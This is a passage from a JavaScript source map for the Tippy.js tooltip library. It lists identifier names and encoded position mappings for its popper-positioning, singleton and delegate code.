eOrPopper","getNestedPopperTree","getBoundingClientRect","shouldBail","relatedTarget","createPopperInstance","destroyPopperInstance","computedReference","contextElement","tippyModifier","enabled","phase","requires","attributes","modifiers","padding","adaptive","createPopper","mount","nextElementSibling","touchValue","touchDelay","requestAnimationFrame","cancelAnimationFrame","nestedPopper","forceUpdate","isAlreadyVisible","isDisabled","isTouchAndTouchDisabled","visibility","transition","offsetHeight","isAlreadyHidden","i","tippy","optionalProps","elements","isSingleContentElement","isMoreThanOneReferenceElement","instances","hideAll","excludedReferenceOrInstance","exclude","isExcluded","originalDuration","applyStylesModifier","applyStyles","effect","initialStyles","position","strategy","margin","assign","styles","createSingleton","tippyInstances","individualInstances","references","triggerTargets","overrides","interceptSetPropsCleanups","shownOnCreate","setTriggerTargets","setReferences","enableInstances","interceptSetProps","singleton","originalSetProps","prepareInstance","overrideProps","originalShow","ref","showNext","first","showPrevious","last","setInstances","nextInstances","BUBBLING_EVENTS_MAP","mouseover","focusin","click","delegate","childTippyInstances","disabled","nativeProps","parentProps","childProps","returnValue","normalizedReturnValue","targetNode","closest","addEventListeners","removeEventListeners","applyMutations","originalDestroy","originalEnable","originalDisable","shouldDestroyChildInstances","createBackdropElement","insertBefore","overflow","Number","transitionDelay","Math","round","mouseCoords","activeInstances","storeMouseCoords","addMouseCoordsListener","removeMouseCoordsListener","isInternalUpdate","wasFocusEvent","isUnmounted","getIsInitialBehavior","addListener","removeListener","unsetGetReferenceClientRect","isCursorOverReference","rect","relativeX","relativeY","width","height","create","data","_","getProps","modifier","cursorRectIndex","triedPlacements","getInlineBoundingClientRect","getClientRects","setInternalProps","addModifier","rects","cursorRect","currentBasePlacement","boundingRect","clientRects","firstRect","lastRect","isTop","minLeft","min","maxRight","max","measureRects","getReference","shouldCheck","prevRefRect","prevPopRect","updatePosition","currentRefRect","currentPopRect","areRectsDifferent","update","rectA","rectB","roundArrow"],"mappings":";;;;;;;;;;;EAAO,IAAMA,WAAW,GACtB,0LADK;EAGA,IAAMC,SAAS,cAAf;EACA,IAAMC,aAAa,kBAAnB;EACA,IAAMC,cAAc,mBAApB;EACA,IAAMC,WAAW,gBAAjB;EACA,IAAMC,eAAe,oBAArB;EAEA,IAAMC,aAAa,GAAG;EAACC,EAAAA,OAAO,EAAE,IAAV;EAAgBC,EAAAA,OAAO,EAAE;EAAzB,CAAtB;EAEA,IAAMC,uBAAuB,GAAG,SAA1BA,uBAA0B;EAAA,SAAMC,QAAQ,CAACC,IAAf;EAAA,CAAhC;;ECTA,SAASC,cAAT,CACLC,GADK,EAELC,GAFK,EAGI;EACT,SAAO,GAAGF,cAAH,CAAkBG,IAAlB,CAAuBF,GAAvB,EAA4BC,GAA5B,CAAP;EACD;AAED,EAAO,SAASE,uBAAT,CACLC,KADK,EAELC,KAFK,EAGLC,YAHK,EAIF;EACH,MAAIC,KAAK,CAACC,OAAN,CAAcJ,KAAd,CAAJ,EAA0B;EACxB,QAAMK,CAAC,GAAGL,KAAK,CAACC,KAAD,CAAf;EACA,WAAOI,CAAC,IAAI,IAAL,GACHF,KAAK,CAACC,OAAN,CAAcF,YAAd,IACEA,YAAY,CAACD,KAAD,CADd,GAEEC,YAHC,GAIHG,CAJJ;EAKD;;EAED,SAAOL,KAAP;EACD;AAED,EAAO,SAASM,MAAT,CAAgBN,KAAhB,EAA4BO,IAA5B,EAAmD;EACxD,MAAMC,GAAG,GAAG,GAAGC,QAAH,CAAYX,IAAZ,CAAiBE,KAAjB,CAAZ;EACA,SAAOQ,GAAG,CAACE,OAAJ,CAAY,SAAZ,MAA2B,CAA3B,IAAgCF,GAAG,CAACE,OAAJ,CAAeH,IAAf,UAA0B,CAAC,CAAlE;EACD;AAED,EAAO,SAASI,sBAAT,CAAgCX,KAAhC,EAA4CY,IAA5C,EAA8D;EACnE,SAAO,OAAOZ,KAAP,KAAiB,UAAjB,GAA8BA,KAAK,MAAL,SAASY,IAAT,CAA9B,GAA+CZ,KAAtD;EACD;AAED,EAAO,SAASa,QAAT,CACLC,EADK,EAELC,EAFK,EAGa;EAClB;EACA,MAAIA,EAAE,KAAK,CAAX,EAAc;EACZ,WAAOD,EAAP;EACD;;EAED,MAAIE,OAAJ;EAEA,SAAO,UAACC,GAAD,EAAe;EACpBC,IAAAA,YAAY,CAACF,OAAD,CAAZ;EACAA,IAAAA,OAAO,GAAGG,UAAU,CAAC,YAAM;EACzBL,MAAAA,EAAE,CAACG,GAAD,CAAF;EACD,KAFmB,EAEjBF,EAFiB,CAApB;EAGD,GALD;EAMD;AAED,EAAO,SAASK,gBAAT,CAA6BxB,GAA7B,EAAqCyB,IAArC,EAAiE;EACtE,MAAMC,KAAK,qBAAO1B,GAAP,CAAX;EACAyB,EAAAA,IAAI,CAACE,OAAL,CAAa,UAAC1B,GAAD,EAAS;EACpB,WAAQyB,KAAD,CAAezB,GAAf,CAAP;EACD,GAFD;EAGA,SAAOyB,KAAP;EACD;AAED,EAAO,SAASE,aAAT,CAAuBxB,KAAvB,EAAgD;EACrD,SAAOA,KAAK,CAACyB,KAAN,CAAY,KAAZ,EAAmBC,MAAnB,CAA0BC,OAA1B,CAAP;EACD;AAED,EAAO,SAASC,gBAAT,CAA6B5B,KAA7B,EAAkD;EACvD,SAAQ,EAAD,CAAY6B,MAAZ,CAAmB7B,KAAnB,CAAP;EACD;AAED,EAAO,SAAS8B,YAAT,CAAyBC,GAAzB,EAAmC/B,KAAnC,EAAmD;EACxD,MAAI+B,GAAG,CAACrB,OAAJ,CAAYV,KAAZ,MAAuB,CAAC,CAA5B,EAA+B;EAC7B+B,IAAAA,GAAG,CAACC,IAAJ,CAAShC,KAAT;EACD;EACF;AAED,EAIO,SAASiC,MAAT,CAAmBF,GAAnB,EAAkC;EACvC,SAAOA,GAAG,CAACL,MAAJ,CAAW,UAACQ,IAAD,EAAOjC,KAAP;EAAA,WAAiB8B,GAAG,CAACrB,OAAJ,CAAYwB,IAAZ,MAAsBjC,KAAvC;EAAA,GAAX,CAAP;EACD;AAED,EAIO,SAASkC,gBAAT,CAA0BC,SAA1B,EAA+D;EACpE,SAAOA,SAAS,CAACX,KAAV,CAAgB,GAAhB,EAAqB,CAArB,CAAP;EACD;AAED,EAAO,SAASY,SAAT,CAAmBrC,KAAnB,EAAiD;EACtD,SAAO,GAAGsC,KAAH,CAASxC,IAAT,CAAcE,KAAd,CAAP;EACD;AAED,EAAO,SAASuC,oBAAT,CACL3C,GADK,EAE6B;EAClC,SAAO4C,MAAM,CAACnB,IAAP,CAAYzB,GAAZ,EAAiB6C,MAAjB,CAAwB,UAACC,GAAD,EAAM7C,GAAN,EAAc;EAC3C,QAAID,GAAG,CAACC,GAAD,CAAH,KAAa8C,SAAjB,EAA4B;EACzBD,MAAAA,GAAD,CAAa7C,GAAb,IAAoBD,GAAG,CAACC,GAAD,CAAvB;EACD;;EAED,WAAO6C,GAAP;EACD,GANM,EAMJ,EANI,CAAP;EAOD;;ECtGM,SAASE,GAAT,GAA+B;EACpC,SAAOnD,QAAQ,CAACoD,aAAT,CAAuB,KAAvB,CAAP;EACD;AAED,EAAO,SAASC,SAAT,CAAmB9C,KAAnB,EAAwE;EAC7E,SAAO,CAAC,SAAD,EAAY,UAAZ,EAAwB+C,IAAxB,CAA6B,UAACxC,IAAD;EAAA,WAAUD,MAAM,CAACN,KAAD,EAAQO,IAAR,CAAhB;EAAA,GAA7B,CAAP;EACD;AAED,EAAO,SAASyC,UAAT,CAAoBhD,KAApB,EAAuD;EAC5D,SAAOM,MAAM,CAACN,KAAD,EAAQ,UAAR,CAAb;EACD;AAED,EAAO,SAASiD,YAAT,CAAsBjD,KAAtB,EAA2D;EAChE,SAAOM,MAAM,CAACN,KAAD,EAAQ,YAAR,CAAb;EACD;AAED,EAAO,SAASkD,kBAAT,CAA4BlD,KAA5B,EAAmE;EACxE,SAAO,CAAC,EAAEA,KAAK,IAAIA,KAAK,CAACmD,MAAf,IAAyBnD,KAAK,CAACmD,MAAN,CAAaC,SAAb,KAA2BpD,KAAtD,CAAR;EACD;AAED,EAAO,SAASqD,kBAAT,CAA4BrD,KAA5B,EAAuD;EAC5D,MAAI8C,SAAS,CAAC9C,KAAD,CAAb,EAAsB;EACpB,WAAO,CAACA,KAAD,CAAP;EACD;;EAED,MAAIgD,UAAU,CAAChD,KAAD,CAAd,EAAuB;EACrB,WAAOqC,SAAS,CAACrC,KAAD,CAAhB;EACD;;EAED,MAAIG,KAAK,CAACC,OAAN,CAAcJ,KAAd,CAAJ,EAA0B;EACxB,WAAOA,KAAP;EACD;;EAED,SAAOqC,SAAS,CAAC5C,QAAQ,CAAC6D,gBAAT,CAA0BtD,KAA1B,CAAD,CAAhB;EACD;AAED,EAAO,SAASuD,qBAAT,CACLC,GADK,EAELxD,KAFK,EAGC;EACNwD,EAAAA,GAAG,CAACjC,OAAJ,CAAY,UAACkC,EAAD,EAAQ;EAClB,QAAIA,EAAJ,EAAQ;EACNA,MAAAA,EAAE,CAACC,KAAH,CAASC,kBAAT,GAAiC3D,KAAjC;EACD;EACF,GAJD;EAKD;AAED,EAAO,SAAS4D,kBAAT,CACLJ,GADK,EAELK,KAFK,EAGC;EACNL,EAAAA,GAAG,CAACjC,OAAJ,CAAY,UAACkC,EAAD,EAAQ;EAClB,QAAIA,EAAJ,EAAQ;EACNA,MAAAA,EAAE,CAACK,YAAH,CAAgB,YAAhB,EAA8BD,KAA9B;EACD;EACF,GAJD;EAKD;AAED,EAAO,SAASE,gBAAT,CACLC,iBADK,EAEK;EAAA;;EACV,0BAAkBpC,gBAAgB,CAACoC,iBAAD,CAAlC;EAAA,MAAOC,OAAP,wBADU;;;EAIV,SAAOA,OAAO,QAAP,6BAAAA,OAAO,CAAEC,aAAT,mCAAwBxE,IAAxB,GAA+BuE,OAAO,CAACC,aAAvC,GAAuDzE,QAA9D;EACD;AAED,EAAO,SAAS0E,gCAAT,CACLC,cADK,EAELC,KAFK,EAGI;EACT,MAAOC,OAAP,GAA2BD,KAA3B,CAAOC,OAAP;EAAA,MAAgBC,OAAhB,GAA2BF,KAA3B,CAAgBE,OAAhB;EAEA,SAAOH,cAAc,CAACI,KAAf,CAAqB,gBAAsC;EAAA,QAApCC,UAAoC,QAApCA,UAAoC;EAAA,QAAxBC,WAAwB,QAAxBA,WAAwB;EAAA,QAAXC,KAAW,QAAXA,KAAW;EAChE,QAAOC,iBAAP,GAA4BD,KAA5B,CAAOC,iBAAP;EACA,QAAMC,aAAa,GAAG1C,gBAAgB,CAACuC,WAAW,CAACtC,SAAb,CAAtC;EACA,QAAM0C,UAAU,GAAGJ,WAAW,CAACK,aAAZ,CAA0BC,MAA7C;;EAEA,QAAI,CAACF,UAAL,EAAiB;EACf,aAAO,IAAP;EACD;;EAED,QAAMG,WAAW,GAAGJ,aAAa,KAAK,QAAlB,GAA6BC,UAAU,CAACI,GAAX,CAAgBC,CAA7C,GAAiD,CAArE;EACA,QAAMC,cAAc,GAAGP,aAAa,KAAK,KAAlB,GAA0BC,UAAU,CAACO,MAAX,CAAmBF,CAA7C,GAAiD,CAAxE;EACA,QAAMG,YAAY,GAAGT,aAAa,KAAK,OAAlB,GAA4BC,UAAU,CAACS,IAAX,CAAiBC,CAA7C,GAAiD,CAAtE;EACA,QAAMC,aAAa,GAAGZ,aAAa,KAAK,MAAlB,GAA2BC,UAAU,CAACY,KAAX,CAAkBF,CAA7C,GAAiD,CAAvE;EAEA,QAAMG,UAAU,GACdlB,UAAU,CAACS,GAAX,GAAiBX,OAAjB,GAA2BU,WAA3B,GAAyCL,iBAD3C;EAEA,QAAMgB,aAAa,GACjBrB,OAAO,GAAGE,UAAU,CAACY,MAArB,GAA8BD,cAA9B,GAA+CR,iBADjD;EAEA,QAAMiB,WAAW,GACfpB,UAAU,CAACc,IAAX,GAAkBjB,OAAlB,GAA4BgB,YAA5B,GAA2CV,iBAD7C;EAEA,QAAMkB,YAAY,GAChBxB,OAAO,GAAGG,UAAU,CAACiB,KAArB,GAA6BD,aAA7B,GAA6Cb,iBAD/C;EAGA,WAAOe,UAAU,IAAIC,aAAd,IAA+BC,WAA/B,IAA8CC,YAArD;EACD,GAxBM,CAAP;EAyBD;AAED,EAAO,SAASC,2BAAT,CACLC,GADK,EAELC,MAFK,EAGLC,QAHK,EAIC;EACN,MAAMC,MAAM,GAAMF,MAAN,kBAAZ,CADM;EAMN;;EACA,GAAC,eAAD,EAAkB,qBAAlB,EAAyC1E,OAAzC,CAAiD,UAAC8C,KAAD,EAAW;EAC1D2B,IAAAA,GAAG,CAACG,MAAD,CAAH,CAAY9B,KAAZ,EAAmB6B,QAAnB;EACD,GAFD;EAGD;EAED;EACA;EACA;EACA;;AACA,EAAO,SAASE,cAAT,CAAwBC,MAAxB,EAAyCC,KAAzC,EAAkE;EACvE,MAAIC,MAAM,GAAGD,KAAb;;EACA,SAAOC,MAAP,EAAe;EAAA;;EACb,QAAIF,MAAM,CAACG,QAAP,CAAgBD,MAAhB,CAAJ,EAA6B;EAC3B,aAAO,IAAP;EACD;;EACDA,IAAAA,MAAM,GAAIA,MAAM,CAACE,WAAX,2CAAIF,MAAM,CAACE,WAAP,EAAJ,qBAAG,oBAAiCC,IAA1C;EACD;;EACD,SAAO,KAAP;EACD;;EClIM,IAAMC,YAAY,GAAG;EAACC,EAAAA,OAAO,EAAE;EAAV,CAArB;EACP,IAAIC,iBAAiB,GAAG,CAAxB;EAEA;EACA;EACA;EACA;EACA;EACA;;AACA,EAAO,SAASC,oBAAT,GAAsC;EAC3C,MAAIH,YAAY,CAACC,OAAjB,EAA0B;EACxB;EACD;;EAEDD,EAAAA,YAAY,CAACC,OAAb,GAAuB,IAAvB;;EAEA,MAAIG,MAAM,CAACC,WAAX,EAAwB;EACtBvH,IAAAA,QAAQ,CAACwH,gBAAT,CAA0B,WAA1B,EAAuCC,mBAAvC;EACD;EACF;EAED;EACA;EACA;EACA;EACA;;AACA,EAAO,SAASA,mBAAT,GAAqC;EAC1C,MAAMC,GAAG,GAAGH,WAAW,CAACG,GAAZ,EAAZ;;EAEA,MAAIA,GAAG,GAAGN,iBAAN,GAA0B,EAA9B,EAAkC;EAChCF,IAAAA,YAAY,CAACC,OAAb,GAAuB,KAAvB;EAEAnH,IAAAA,QAAQ,CAAC2H,mBAAT,CAA6B,WAA7B,EAA0CF,mBAA1C;EACD;;EAEDL,EAAAA,iBAAiB,GAAGM,GAApB;EACD;EAED;EACA;EACA;EACA;EACA;EACA;;AACA,EAAO,SAASE,YAAT,GAA8B;EACnC,MAAMC,aAAa,GAAG7H,QAAQ,CAAC6H,aAA/B;;EAEA,MAAIpE,kBAAkB,CAACoE,aAAD,CAAtB,EAAuC;EACrC,QAAMC,QAAQ,GAAGD,aAAa,CAACnE,MAA/B;;EAEA,QAAImE,aAAa,CAACE,IAAd,IAAsB,CAACD,QAAQ,CAAC1D,KAAT,CAAe4D,SAA1C,EAAqD;EACnDH,MAAAA,aAAa,CAACE,IAAd;EACD;EACF;EACF;AAED,EAAe,SAASE,wBAAT,GAA0C;EACvDjI,EAAAA,QAAQ,CAACwH,gBAAT,CAA0B,YAA1B,EAAwCH,oBAAxC,EAA8DzH,aAA9D;EACA0H,EAAAA,MAAM,CAACE,gBAAP,CAAwB,MAAxB,EAAgCI,YAAhC;EACD;;EC9DM,IAAMM,SAAS,GACpB,OAAOZ,MAAP,KAAkB,WAAlB,IAAiC,OAAOtH,QAAP,KAAoB,WADhD;AAGP,EAAO,IAAMmI,MAAM,GAAGD,SAAS;EAE3B,CAAC,CAACZ,MAAM,CAACc,QAFkB,GAG3B,KAHG;;ECDA,SAASC,uBAAT,CAAiC3B,MAAjC,EAAyD;EAC9D,MAAM4B,GAAG,GAAG5B,MAAM,KAAK,SAAX,GAAuB,YAAvB,GAAsC,GAAlD;EAEA,SAAO,CACFA,MADE,0BACyB4B,GADzB,8CAEL,oCAFK,EAGLC,IAHK,CAGA,GAHA,CAAP;EAID;AAED,EAAO,SAASC,KAAT,CAAejI,KAAf,EAAsC;EAC3C,MAAMkI,aAAa,GAAG,YAAtB;EACA,MAAMC,mBAAmB,GAAG,WAA5B;EAEA,SAAOnI,KAAK,CACToI,OADI,CACIF,aADJ,EACmB,GADnB,EAEJE,OAFI,CAEID,mBAFJ,EAEyB,EAFzB,EAGJE,IAHI,EAAP;EAID;;EAED,SAASC,aAAT,CAAuBC,OAAvB,EAAgD;EAC9C,SAAON,KAAK,4BAGRA,KAAK,CAACM,OAAD,CAHG,0GAAZ;EAOD;;AAED,EAAO,SAASC,mBAAT,CAA6BD,OAA7B,EAAwD;EAC7D,SAAO,CACLD,aAAa,CAACC,OAAD,CADR;EAGL,wDAHK;EAKL,oBALK;EAOL,mBAPK,CAAP;EASD;;EAGD,IAAIE,eAAJ;;AACA,EAAa;EACXC,EAAAA,oBAAoB;EACrB;;AAED,EAAO,SAASA,oBAAT,GAAsC;EAC3CD,EAAAA,eAAe,GAAG,IAAIE,GAAJ,EAAlB;EACD;AAED,EAAO,SAASC,QAAT,CAAkBC,SAAlB,EAAsCN,OAAtC,EAA6D;EAClE,MAAIM,SAAS,IAAI,CAACJ,eAAe,CAACK,GAAhB,CAAoBP,OAApB,CAAlB,EAAgD;EAAA;;EAC9CE,IAAAA,eAAe,CAACM,GAAhB,CAAoBR,OAApB;;EACA,gBAAAS,OAAO,EAACC,IAAR,iBAAgBT,mBAAmB,CAACD,OAAD,CAAnC;EACD;EACF;AAED,EAAO,SAASW,SAAT,CAAmBL,SAAnB,EAAuCN,OAAvC,EAA8D;EACnE,MAAIM,SAAS,IAAI,CAACJ,eAAe,CAACK,GAAhB,CAAoBP,OAApB,CAAlB,EAAgD;EAAA;;EAC9CE,IAAAA,eAAe,CAACM,GAAhB,CAAoBR,OAApB;;EACA,iBAAAS,OAAO,EAACG,KAAR,kBAAiBX,mBAAmB,CAACD,OAAD,CAApC;EACD;EACF;AAED,EAAO,SAASa,eAAT,CAAyBC,OAAzB,EAAiD;EACtD,MAAMC,iBAAiB,GAAG,CAACD,OAA3B;EACA,MAAME,kBAAkB,GACtB/G,MAAM,CAACgH,SAAP,CAAiB/I,QAAjB,CAA0BX,IAA1B,CAA+BuJ,OAA/B,MAA4C,iBAA5C,IACA,CAAEA,OAAD,CAAiBpC,gBAFpB;EAIAiC,EAAAA,SAAS,CACPI,iBADO,EAEP,CACE,oBADF,EAEE,MAAMG,MAAM,CAACJ,OAAD,CAAZ,GAAwB,GAF1B,EAGE,oEAHF,EAIE,yBAJF,EAKErB,IALF,CAKO,GALP,CAFO,CAAT;EAUAkB,EAAAA,SAAS,CACPK,kBADO,EAEP,CACE,yEADF,EAEE,oEAFF,EAGEvB,IAHF,CAGO,GAHP,CAFO,CAAT;EAOD;;ECjFD,IAAM0B,WAAW,GAAG;EAClBC,EAAAA,WAAW,EAAE,KADK;EAElBC,EAAAA,YAAY,EAAE,KAFI;EAGlBC,EAAAA,iBAAiB,EAAE,KAHD;EAIlBC,EAAAA,MAAM,EAAE;EAJU,CAApB;EAOA,IAAMC,WAAW,GAAG;EAClBC,EAAAA,SAAS,EAAE,KADO;EAElBC,EAAAA,SAAS,EAAE,MAFO;EAGlBC,EAAAA,KAAK,EAAE,IAHW;EAIlBC,EAAAA,OAAO,EAAE,EAJS;EAKlBC,EAAAA,OAAO,EAAE,KALS;EAMlBC,EAAAA,QAAQ,EAAE,GANQ;EAOlBC,EAAAA,IAAI,EAAE,SAPY;EAQlBC,EAAAA,KAAK,EAAE,EARW;EASlBC,EAAAA,MAAM,EAAE;EATU,CAApB;AAYA,EAAO,IAAMC,YAA0B;EACrCC,EAAAA,QAAQ,EAAElL,uBAD2B;EAErCmL,EAAAA,IAAI,EAAE;EACJR,IAAAA,OAAO,EAAE,MADL;EAEJS,IAAAA,QAAQ,EAAE;EAFN,GAF+B;EAMrCC,EAAAA,KAAK,EAAE,CAN8B;EAOrCC,EAAAA,QAAQ,EAAE,CAAC,GAAD,EAAM,GAAN,CAP2B;EAQrCC,EAAAA,sBAAsB,EAAE,IARa;EASrCC,EAAAA,WAAW,EAAE,IATwB;EAUrCC,EAAAA,gBAAgB,EAAE,KAVmB;EAWrCC,EAAAA,WAAW,EAAE,KAXwB;EAYrCtG,EAAAA,iBAAiB,EAAE,CAZkB;EAarCuG,EAAAA,mBAAmB,EAAE,CAbgB;EAcrCC,EAAAA,cAAc,EAAE,EAdqB;EAerCpG,EAAAA,MAAM,EAAE,CAAC,CAAD,EAAI,EAAJ,CAf6B;EAgBrCqG,EAAAA,aAhBqC,2BAgBrB,EAhBqB;EAiBrCC,EAAAA,cAjBqC,4BAiBpB,EAjBoB;EAkBrCC,EAAAA,QAlBqC,sBAkB1B,EAlB0B;EAmBrCC,EAAAA,SAnBqC,uBAmBzB,EAnByB;EAoBrCC,EAAAA,QApBqC,sBAoB1B,EApB0B;EAqBrCC,EAAAA,MArBqC,oBAqB5B,EArB4B;EAsBrCC,EAAAA,OAtBqC,qBAsB3B,EAtB2B;EAuBrCC,EAAAA,MAvBqC,oBAuB5B,EAvB4B;EAwBrCC,EAAAA,OAxBqC,qBAwB3B,EAxB2B;EAyBrCC,EAAAA,SAzBqC,uBAyBzB,EAzByB;EA0BrCC,EAAAA,WA1BqC,yBA0BvB,EA1BuB;EA2BrCC,EAAAA,cA3BqC,4BA2BpB,EA3BoB;EA4BrC5J,EAAAA,SAAS,EAAE,KA5B0B;EA6BrC6J,EAAAA,OAAO,EAAE,EA7B4B;EA8BrCC,EAAAA,aAAa,EAAE,EA9BsB;EA+BrCC,EAAAA,MAAM,EAAE,IA/B6B;EAgCrCC,EAAAA,YAAY,EAAE,KAhCuB;EAiCrCC,EAAAA,KAAK,EAAE,IAjC8B;EAkCrCC,EAAAA,OAAO,EAAE,kBAlC4B;EAmCrCC,EAAAA,aAAa,EAAE;EAnCsB,GAoClC7C,WApCkC,EAqClCK,WArCkC,CAAhC;EAwCP,IAAMyC,WAAW,GAAGhK,MAAM,CAACnB,IAAP,CAAYoJ,YAAZ,CAApB;AAEA,EAAO,IAAMgC,eAAyC,GAAG,SAA5CA,eAA4C,CAACC,YAAD,EAAkB;EACzE;EACA,EAAa;EACXC,IAAAA,aAAa,CAACD,YAAD,EAAe,EAAf,CAAb;EACD;;EAED,MAAMrL,IAAI,GAAGmB,MAAM,CAACnB,IAAP,CAAYqL,YAAZ,CAAb;EACArL,EAAAA,IAAI,CAACE,OAAL,CAAa,UAAC1B,GAAD,EAAS;EACnB4K,IAAAA,YAAD,CAAsB5K,GAAtB,IAA6B6M,YAAY,CAAC7M,GAAD,CAAzC;EACD,GAFD;EAGD,CAVM;AAYP,EAAO,SAAS+M,sBAAT,CACLC,WADK,EAEW;EAChB,MAAMZ,OAAO,GAAGY,WAAW,CAACZ,OAAZ,IAAuB,EAAvC;EACA,MAAMvC,WAAW,GAAGuC,OAAO,CAACxJ,MAAR,CAAwC,UAACC,GAAD,EAAMoK,MAAN,EAAiB;EAC3E,QAAOC,IAAP,GAA6BD,MAA7B,CAAOC,IAAP;EAAA,QAAa7M,YAAb,GAA6B4M,MAA7B,CAAa5M,YAAb;;EAEA,QAAI6M,IAAJ,EAAU;EAAA;;EACRrK,MAAAA,GAAG,CAACqK,IAAD,CAAH,GACEF,WAAW,CAACE,IAAD,CAAX,KAAsBpK,SAAtB,GACIkK,WAAW,CAACE,IAAD,CADf,YAEKtC,YAAD,CAAsBsC,IAAtB,CAFJ,oBAEmC7M,YAHrC;EAID;;EAED,WAAOwC,GAAP;EACD,GAXmB,EAWjB,EAXiB,CAApB;EAaA,2BACKmK,WADL,EAEKnD,WAFL;EAID;AAED,EAAO,SAASsD,qBAAT,CACL5J,SADK,EAEL6I,OAFK,EAGoB;EACzB,MAAMgB,QAAQ,GAAGhB,OAAO,GACpBzJ,MAAM,CAACnB,IAAP,CAAYuL,sBAAsB,mBAAKnC,YAAL;EAAmBwB,IAAAA,OAAO,EAAPA;EAAnB,KAAlC,CADoB,GAEpBO,WAFJ;EAIA,MAAM7H,KAAK,GAAGsI,QAAQ,CAACxK,MAAT,CACZ,UAACC,GAAD,EAAgD7C,GAAhD,EAAwD;EACtD,QAAMqN,aAAa,GAAG,CACpB9J,SAAS,CAAC+J,YAAV,iBAAqCtN,GAArC,KAA+C,EAD3B,EAEpBwI,IAFoB,EAAtB;;EAIA,QAAI,CAAC6E,aAAL,EAAoB;EAClB,aAAOxK,GAAP;EACD;;EAED,QAAI7C,GAAG,KAAK,SAAZ,EAAuB;EACrB6C,MAAAA,GAAG,CAAC7C,GAAD,CAAH,GAAWqN,aAAX;EACD,KAFD,MAEO;EACL,UAAI;EACFxK,QAAAA,GAAG,CAAC7C,GAAD,CAAH,GAAWuN,IAAI,CAACC,KAAL,CAAWH,aAAX,CAAX;EACD,OAFD,CAEE,OAAOI,CAAP,EAAU;EACV5K,QAAAA,GAAG,CAAC7C,GAAD,CAAH,GAAWqN,aAAX;EACD;EACF;;EAED,WAAOxK,GAAP;EACD,GArBW,EAsBZ,EAtBY,CAAd;EAyBA,SAAOiC,KAAP;EACD;AAED,EAAO,SAAS4I,aAAT,CACLnK,SADK,EAELuB,KAFK,EAGE;EACP,MAAM6I,GAAG,qBACJ7I,KADI;EAEPwF,IAAAA,OAAO,EAAExJ,sBAAsB,CAACgE,KAAK,CAACwF,OAAP,EAAgB,CAAC/G,SAAD,CAAhB;EAFxB,KAGHuB,KAAK,CAACsG,gBAAN,GACA,EADA,GAEA+B,qBAAqB,CAAC5J,SAAD,EAAYuB,KAAK,CAACsH,OAAlB,CALlB,CAAT;EAQAuB,EAAAA,GAAG,CAAC7C,IAAJ,qBACKF,YAAY,CAACE,IADlB,EAEK6C,GAAG,CAAC7C,IAFT;EAKA6C,EAAAA,GAAG,CAAC7C,IAAJ,GAAW;EACTC,IAAAA,QAAQ,EACN4C,GAAG,CAAC7C,IAAJ,CAASC,QAAT,KAAsB,MAAtB,GAA+BjG,KAAK,CAACuG,WAArC,GAAmDsC,GAAG,CAAC7C,IAAJ,CAASC,QAFrD;EAGTT,IAAAA,OAAO,EACLqD,GAAG,CAAC7C,IAAJ,CAASR,OAAT,KAAqB,MAArB,GACIxF,KAAK,CAACuG,WAAN,GACE,IADF,GAEE,aAHN,GAIIsC,GAAG,CAAC7C,IAAJ,CAASR;EARN,GAAX;EAWA,SAAOqD,GAAP;EACD;AAED,EAAO,SAASb,aAAT,CACLD,YADK,EAELT,OAFK,EAGC;EAAA,MAFNS,YAEM;EAFNA,IAAAA,YAEM,GAFyB,EAEzB;EAAA;;EAAA,MADNT,OACM;EADNA,IAAAA,OACM,GADc,EACd;EAAA;;EACN,MAAM5K,IAAI,GAAGmB,MAAM,CAACnB,IAAP,CAAYqL,YAAZ,CAAb;EACArL,EAAAA,IAAI,CAACE,OAAL,CAAa,UAACkM,IAAD,EAAU;EACrB,QAAMC,cAAc,GAAGtM,gBAAgB,CACrCqJ,YADqC,EAErCjI,MAAM,CAACnB,IAAP,CAAYqI,WAAZ,CAFqC,CAAvC;EAKA,QAAIiE,kBAAkB,GAAG,CAAChO,cAAc,CAAC+N,cAAD,EAAiBD,IAAjB,CAAxC,CANqB;;EASrB,QAAIE,kBAAJ,EAAwB;EACtBA,MAAAA,kBAAkB,GAChB1B,OAAO,CAACvK,MAAR,CAAe,UAACoL,MAAD;EAAA,eAAYA,MAAM,CAACC,IAAP,KAAgBU,IAA5B;EAAA,OAAf,EAAiDG,MAAjD,KAA4D,CAD9D;EAED;;EAEDhF,IAAAA,QAAQ,CACN+E,kBADM,EAEN,OACOF,IADP,QAEE,sEAFF,EAGE,2DAHF,EAIE,MAJF,EAKE,8DALF,EAME,wDANF,EAOEzF,IAPF,CAOO,GAPP,CAFM,CAAR;EAWD,GAzBD;EA0BD;;EC9LD,IAAM6F,SAAS,GAAG,SAAZA,SAAY;EAAA,SAAmB,WAAnB;EAAA,CAAlB;;EAEA,SAASC,uBAAT,CAAiC7J,OAAjC,EAAmD8J,IAAnD,EAAuE;EACrE9J,EAAAA,OAAO,CAAC4J,SAAS,EAAV,CAAP,GAAuBE,IAAvB;EACD;;EAED,SAASC,kBAAT,CAA4BhO,KAA5B,EAAmE;EACjE,MAAMkK,KAAK,GAAGtH,GAAG,EAAjB;;EAEA,MAAI5C,KAAK,KAAK,IAAd,EAAoB;EAClBkK,IAAAA,KAAK,CAAC+D,SAAN,GAAkB9O,WAAlB;EACD,GAFD,MAEO;EACL+K,IAAAA,KAAK,CAAC+D,SAAN,GAAkB7O,eAAlB;;EAEA,QAAI0D,SAAS,CAAC9C,KAAD,CAAb,EAAsB;EACpBkK,MAAAA,KAAK,CAACgE,WAAN,CAAkBlO,KAAlB;EACD,KAFD,MAEO;EACL8N,MAAAA,uBAAuB,CAAC5D,KAAD,EAAQlK,KAAR,CAAvB;EACD;EACF;;EAED,SAAOkK,KAAP;EACD;;AAED,EAAO,SAASiE,UAAT,CAAoBhE,OAApB,EAA6CxF,KAA7C,EAAiE;EACtE,MAAI7B,SAAS,CAAC6B,KAAK,CAACwF,OAAP,CAAb,EAA8B;EAC5B2D,IAAAA,uBAAuB,CAAC3D,OAAD,EAAU,EAAV,CAAvB;EACAA,IAAAA,OAAO,CAAC+D,WAAR,CAAoBvJ,KAAK,CAACwF,OAA1B;EACD,GAHD,MAGO,IAAI,OAAOxF,KAAK,CAACwF,OAAb,KAAyB,UAA7B,EAAyC;EAC9C,QAAIxF,KAAK,CAACqF,SAAV,EAAqB;EACnB8D,MAAAA,uBAAuB,CAAC3D,OAAD,EAAUxF,KAAK,CAACwF,OAAhB,CAAvB;EACD,KAFD,MAEO;EACLA,MAAAA,OAAO,CAACiE,WAAR,GAAsBzJ,KAAK,CAACwF,OAA5B;EACD;EACF;EACF;AAED,EAA